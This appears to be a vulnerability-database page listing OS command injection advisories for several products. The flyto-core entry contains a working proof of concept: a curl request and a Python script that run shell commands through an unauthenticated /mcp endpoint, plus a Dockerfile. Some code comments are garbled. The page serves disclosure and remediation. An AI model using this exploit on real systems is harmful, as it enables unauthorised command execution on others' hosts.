CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8340 vulnerabilities reference this CWE, most recent first.
GHSA-H93F-WP35-GCG6
Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2023-01-24 21:30This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_mod_security.php. When parsing the domain parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9735.
{
"affected": [],
"aliases": [
"CVE-2020-15424"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-28T17:15:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_mod_security.php. When parsing the domain parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9735.",
"id": "GHSA-h93f-wp35-gcg6",
"modified": "2023-01-24T21:30:34Z",
"published": "2022-05-24T17:24:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15424"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-20-741"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H962-83VH-M65J
Vulnerability from github – Published: 2023-07-21 06:30 – Updated: 2024-04-04 06:18Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in HGiga iSherlock 4.5 (iSherlock-user modules), HGiga iSherlock 5.5 (iSherlock-user modules) allows OS Command Injection.This issue affects iSherlock 4.5: before iSherlock-user-4.5-174; iSherlock 5.5: before iSherlock-user-5.5-174.
{
"affected": [],
"aliases": [
"CVE-2023-37292"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-21T05:15:15Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability in HGiga iSherlock 4.5 (iSherlock-user modules), HGiga iSherlock 5.5 (iSherlock-user modules) allows OS Command Injection.This issue affects iSherlock 4.5: before iSherlock-user-4.5-174; iSherlock 5.5: before iSherlock-user-5.5-174.\n\n",
"id": "GHSA-h962-83vh-m65j",
"modified": "2024-04-04T06:18:23Z",
"published": "2023-07-21T06:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37292"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7239-8fc29-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H969-236V-C7W4
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35Multiple vulnerabilities in the CLI parser of Cisco IOS XE Software could allow an authenticated, local attacker to inject arbitrary commands into the CLI of the affected software, which could allow the attacker to gain access to the underlying Linux shell of an affected device and execute commands with root privileges on the device. The vulnerabilities exist because the affected software does not sufficiently sanitize command arguments before passing commands to the Linux shell for execution. An attacker could exploit these vulnerabilities by submitting a malicious CLI command to the affected software. A successful exploit could allow the attacker to break from the CLI of the affected software, which could allow the attacker to gain access to the underlying Linux shell on an affected device and execute arbitrary commands with root privileges on the device. Cisco Bug IDs: CSCuz03145, CSCuz56419, CSCva31971, CSCvb09542.
{
"affected": [],
"aliases": [
"CVE-2018-0185"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-28T22:29:00Z",
"severity": "HIGH"
},
"details": "Multiple vulnerabilities in the CLI parser of Cisco IOS XE Software could allow an authenticated, local attacker to inject arbitrary commands into the CLI of the affected software, which could allow the attacker to gain access to the underlying Linux shell of an affected device and execute commands with root privileges on the device. The vulnerabilities exist because the affected software does not sufficiently sanitize command arguments before passing commands to the Linux shell for execution. An attacker could exploit these vulnerabilities by submitting a malicious CLI command to the affected software. A successful exploit could allow the attacker to break from the CLI of the affected software, which could allow the attacker to gain access to the underlying Linux shell on an affected device and execute arbitrary commands with root privileges on the device. Cisco Bug IDs: CSCuz03145, CSCuz56419, CSCva31971, CSCvb09542.",
"id": "GHSA-h969-236v-c7w4",
"modified": "2022-05-13T01:35:42Z",
"published": "2022-05-13T01:35:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0185"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-cmdinj"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103547"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H96J-WP68-R9RJ
Vulnerability from github – Published: 2025-06-26 18:31 – Updated: 2025-06-26 18:31A remote command injection vulnerability exists in the confirm.php interface of the WIFISKY 7-layer Flow Control Router via a specially-crafted HTTP GET request to the t parameter. Insufficient input validation allows unauthenticated attackers to execute arbitrary OS commands.
{
"affected": [],
"aliases": [
"CVE-2025-34044"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-26T16:15:27Z",
"severity": "CRITICAL"
},
"details": "A remote command injection vulnerability exists in the confirm.php interface of the WIFISKY 7-layer Flow Control Router via a specially-crafted HTTP GET request to the t parameter. Insufficient input validation allows unauthenticated attackers to execute arbitrary OS commands.",
"id": "GHSA-h96j-wp68-r9rj",
"modified": "2025-06-26T18:31:28Z",
"published": "2025-06-26T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34044"
},
{
"type": "WEB",
"url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/wifisky7-rce.yaml"
},
{
"type": "WEB",
"url": "https://s4e.io/tools/wifisky-7-layer-flow-control-router-remote-code-execution"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/wifisky-flow-control-router-rce"
},
{
"type": "WEB",
"url": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-45363"
},
{
"type": "WEB",
"url": "https://www.variotdbs.pl/vuln/VAR-202107-1715"
},
{
"type": "WEB",
"url": "http://www.szwifisky.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H993-526J-HQG4
Vulnerability from github – Published: 2023-08-09 21:30 – Updated: 2024-04-04 06:45A SQL injection vulnerability exists in the “message viewer iframe” feature of the ScienceLogic SL1 that takes unsanitized user?controlled input and passes it directly to a SQL query. This allows for the injection of arbitrary SQL before being executed against the database.
{
"affected": [],
"aliases": [
"CVE-2022-48603"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-09T19:15:14Z",
"severity": "HIGH"
},
"details": "A SQL injection vulnerability exists in the \u201cmessage viewer iframe\u201d feature of the ScienceLogic SL1 that takes unsanitized user?controlled input and passes it directly to a SQL query. This allows for the injection of arbitrary SQL before being executed against the database.",
"id": "GHSA-h993-526j-hqg4",
"modified": "2024-04-04T06:45:32Z",
"published": "2023-08-09T21:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48603"
},
{
"type": "WEB",
"url": "https://www.securifera.com/advisories/cve-2022-48603"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H9CP-3469-6F4V
Vulnerability from github – Published: 2022-05-24 17:15 – Updated: 2022-05-24 17:15NETGEAR R7800 devices before 1.0.2.62 are affected by command injection by an authenticated user.
{
"affected": [],
"aliases": [
"CVE-2019-20757"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-16T22:15:00Z",
"severity": "MODERATE"
},
"details": "NETGEAR R7800 devices before 1.0.2.62 are affected by command injection by an authenticated user.",
"id": "GHSA-h9cp-3469-6f4v",
"modified": "2022-05-24T17:15:38Z",
"published": "2022-05-24T17:15:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20757"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000060642/Security-Advisory-for-Post-Authentication-Command-Injection-on-R7800-PSV-2018-0358"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H9F9-H6GM-WC85
Vulnerability from github – Published: 2026-07-06 17:41 – Updated: 2026-07-06 17:41Unauthenticated Command Execution via HTTP MCP execute_module
Summary
The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
src/core/api/server.py:75-78—mcp_routeris mounted under/mcpunconditionally at app creation.src/core/api/routes/mcp.py:65-66—@router.post("")has noDepends(require_auth)guard; any HTTP client may POST to this route.src/core/api/routes/mcp.py:79— the full request body (attacker-controlled JSON) is parsed without validation.src/core/api/routes/mcp.py:103-104— each JSON-RPC item is forwarded tohandle_jsonrpc_requestwithout amodule_filter.src/core/mcp_handler.py:813-838—tools/callwith nameexecute_moduleforwards attacker-controlledmodule_idandparamstoexecute_module().src/core/mcp_handler.py:180,214-215— the module registry resolvesmodule_idand invokes it with attacker-suppliedparams.src/core/modules/registry/decorators.py:96-101— the function wrapper exposesself.paramsascontext['params'].src/core/modules/atomic/sandbox/execute_shell.py:137-139—commandis read directly fromparamswith no sanitization.src/core/modules/atomic/sandbox/execute_shell.py:163-169—commandreachesasyncio.create_subprocess_shellwithshell=Trueand no allowlist or escaping.
The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp_post(request: Request):
# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)
# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)
Contrast with the protected REST route:
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])
The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001
Exploit (curl) — no Authorization header:
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
Exploit (Python PoC script):
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command id
Observed response (dynamic reproduction, Phase 2):
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": "",
"exit_code": 0,
"execution_time_ms": 4.84
}
},
"isError": false
}
}
The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.
Network-accessible variant:
If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.
Recommended remediation:
--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import JSONResponse, Response
from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter
-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
async def mcp_post(request: Request):
result = await handle_jsonrpc_request(item, browser_sessions)
+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)
-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
async def mcp_delete(request: Request):
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]
Impact
This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.
Affected parties include:
- Developers and local users running
flyto serveon their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface. - Infrastructure operators who expose the API on a non-loopback interface (
--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.
Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc g++ libxml2-dev libxslt1-dev \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/
# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"
EXPOSE 8333
# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module
Target: flyto-core 2.26.2
Route: POST /mcp (no auth dependency — mcp.py:65)
Sink: asyncio.create_subprocess_shell (execute_shell.py:163)
CWE: CWE-306 Missing Authentication for Critical Function
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error
def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
"""servertext readytext until /health text."""
for i in range(max_wait):
try:
with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
if resp.status == 200:
print(f"[+] server is ready ({i}s textand)")
return True
except Exception:
pass
time.sleep(1)
if i % 5 == 4:
print(f"[*] wait in progress... ({i+1}s)")
return False
def send_exploit(base_url: str, command: str) -> dict:
"""without authentication POST /mcptext arbitrary command execute request."""
payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {
"command": command,
"timeout": 10
}
}
}
}
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
f"{base_url}/mcp",
data=data,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
body = resp.read().decode("utf-8")
return json.loads(body)
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8333)
parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
print("=" * 60)
print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
print(f" Target : {base_url}/mcp")
print(f" Command : {args.command}")
print("=" * 60)
print()
# 1. wait for server readiness
print("[*] waiting for server startup in progress...")
if not wait_for_server(base_url):
print("[-] FAIL: servertext whenbetween within not respond not")
sys.exit(1)
# 2. without authentication exploit send request
print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")
try:
result = send_exploit(base_url, args.command)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
print(f"[-] HTTP {e.code}: {body}")
print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
sys.exit(1)
except Exception as e:
print(f"[-] text error: {e}")
sys.exit(1)
# 3. response parse
print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")
# result.result.structuredContent.data.stdout
try:
structured = result["result"]["structuredContent"]
data = structured["data"]
stdout = data.get("stdout", "")
stderr = data.get("stderr", "")
exit_code = data.get("exit_code", -1)
except (KeyError, TypeError) as e:
print(f"[-] FAIL: expected response structure text — {e}")
print(f" result keys: {list(result.get('result', {}).keys())}")
sys.exit(1)
print(f"[*] exit_code = {exit_code}")
print(f"[*] stdout = {stdout!r}")
print(f"[*] stderr = {stderr!r}")
print()
# 4. success verdict: `id` command resulttext uid= contains whether
if "uid=" in stdout:
print("[+] ============================================================")
print("[+] PASS: without authentication text OS command execution check!")
print(f"[+] command output: {stdout.strip()}")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.26.2"
},
{
"fixed": "2.26.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55786"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T17:41:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** \u2014 `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** \u2014 `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** \u2014 the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** \u2014 each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** \u2014 `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** \u2014 the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** \u2014 the function wrapper exposes `self.params` as `context[\u0027params\u0027]`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** \u2014 `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** \u2014 `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66 \u2014 missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838 \u2014 attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n result = await execute_module(\n module_id=arguments.get(\"module_id\", \"\"),\n params=arguments.get(\"params\", {}),\n context=arguments.get(\"context\"),\n browser_sessions=browser_sessions,\n )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169 \u2014 sink\nparams = context[\u0027params\u0027]\ncommand = params.get(\u0027command\u0027, \u0027\u0027)\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93 \u2014 correctly guarded\n@router.post(\"/execute\", dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t flyto-vuln-001 \\\n reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n -p 127.0.0.1:8333:8333 \\\n --name flyto-vuln-001-test \\\n flyto-vuln-001\n```\n\n**Exploit (curl) \u2014 no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\"command\": \"id\", \"timeout\": 5}\n }\n }\n }\u0027\n```\n\n**Exploit (Python PoC script):**\n\n```bash\npython3 vuln-001/poc.py \\\n --host 127.0.0.1 --port 8333 --command id\n```\n\n**Observed response (dynamic reproduction, Phase 2):**\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"result\": {\n \"structuredContent\": {\n \"ok\": true,\n \"data\": {\n \"stdout\": \"uid=0(root) gid=0(root) groups=0(root)\\n\",\n \"stderr\": \"\",\n \"exit_code\": 0,\n \"execution_time_ms\": 4.84\n }\n },\n \"isError\": false\n }\n}\n```\n\nThe `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`.\n\n**Network-accessible variant:**\n\nIf the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/core/api/routes/mcp.py\n+++ b/src/core/api/routes/mcp.py\n-from fastapi import APIRouter, Request\n+from fastapi import APIRouter, Depends, Request\n from fastapi.responses import JSONResponse, Response\n from core.mcp_handler import handle_jsonrpc_request\n+from core.api.security import require_auth, module_filter\n\n-@router.post(\"\")\n+@router.post(\"\", dependencies=[Depends(require_auth)])\n async def mcp_post(request: Request):\n result = await handle_jsonrpc_request(item, browser_sessions)\n+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)\n\n-@router.delete(\"\")\n+@router.delete(\"\", dependencies=[Depends(require_auth)])\n async def mcp_delete(request: Request):\n```\n\n```diff\n--- a/src/core/api/security.py\n+++ b/src/core/api/security.py\n-_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]\n+_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\", \"sandbox.*\"]\n```\n\n### Impact\n\nThis is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible.\n\nAffected parties include:\n\n- **Developers and local users** running `flyto serve` on their workstations \u2014 any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.\n- **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls \u2014 the attack surface becomes the entire network.\n\nPotential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# lxml buildtext requiredtext whentext text\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n gcc g++ libxml2-dev libxslt1-dev \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# local repo copy source (build context: mcp_57_flytohub__flyto-core/)\nCOPY repo/ /app/repo/\n\n# flyto-core[api] install (fastapi + uvicorn contains)\nRUN pip install --no-cache-dir \"/app/repo[api]\"\n\nEXPOSE 8333\n\n# container externalfrom accessibletext 0.0.0.0 binding\nCMD [\"python\", \"-c\", \"from core.api.server import main; main(host=\u00270.0.0.0\u0027, port=8333)\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module\n\nTarget: flyto-core 2.26.2\nRoute: POST /mcp (no auth dependency \u2014 mcp.py:65)\nSink: asyncio.create_subprocess_shell (execute_shell.py:163)\nCWE: CWE-306 Missing Authentication for Critical Function\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]\n\"\"\"\nimport sys\nimport time\nimport json\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\ndef wait_for_server(base_url: str, max_wait: int = 45) -\u003e bool:\n \"\"\"servertext readytext until /health text.\"\"\"\n for i in range(max_wait):\n try:\n with urllib.request.urlopen(f\"{base_url}/health\", timeout=2) as resp:\n if resp.status == 200:\n print(f\"[+] server is ready ({i}s textand)\")\n return True\n except Exception:\n pass\n time.sleep(1)\n if i % 5 == 4:\n print(f\"[*] wait in progress... ({i+1}s)\")\n return False\n\n\ndef send_exploit(base_url: str, command: str) -\u003e dict:\n \"\"\"without authentication POST /mcptext arbitrary command execute request.\"\"\"\n payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"execute_module\",\n \"arguments\": {\n \"module_id\": \"sandbox.execute_shell\",\n \"params\": {\n \"command\": command,\n \"timeout\": 10\n }\n }\n }\n }\n\n data = json.dumps(payload).encode(\"utf-8\")\n req = urllib.request.Request(\n f\"{base_url}/mcp\",\n data=data,\n headers={\"Content-Type\": \"application/json\"},\n method=\"POST\",\n )\n\n with urllib.request.urlopen(req, timeout=20) as resp:\n body = resp.read().decode(\"utf-8\")\n\n return json.loads(body)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 flyto-core unauthenticated RCE via MCP\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8333)\n parser.add_argument(\"--command\", default=\"id\", help=\"OS command to execute (default: id)\")\n args = parser.parse_args()\n\n base_url = f\"http://{args.host}:{args.port}\"\n\n print(\"=\" * 60)\n print(\"VULN-001: Unauthenticated RCE via HTTP MCP execute_module\")\n print(f\" Target : {base_url}/mcp\")\n print(f\" Command : {args.command}\")\n print(\"=\" * 60)\n print()\n\n # 1. wait for server readiness\n print(\"[*] waiting for server startup in progress...\")\n if not wait_for_server(base_url):\n print(\"[-] FAIL: servertext whenbetween within not respond not\")\n sys.exit(1)\n\n # 2. without authentication exploit send request\n print(f\"\\n[*] POST {base_url}/mcp \u2014 without an Authorization header send\")\n try:\n result = send_exploit(base_url, args.command)\n except urllib.error.HTTPError as e:\n body = e.read().decode(\"utf-8\", errors=\"replace\")\n print(f\"[-] HTTP {e.code}: 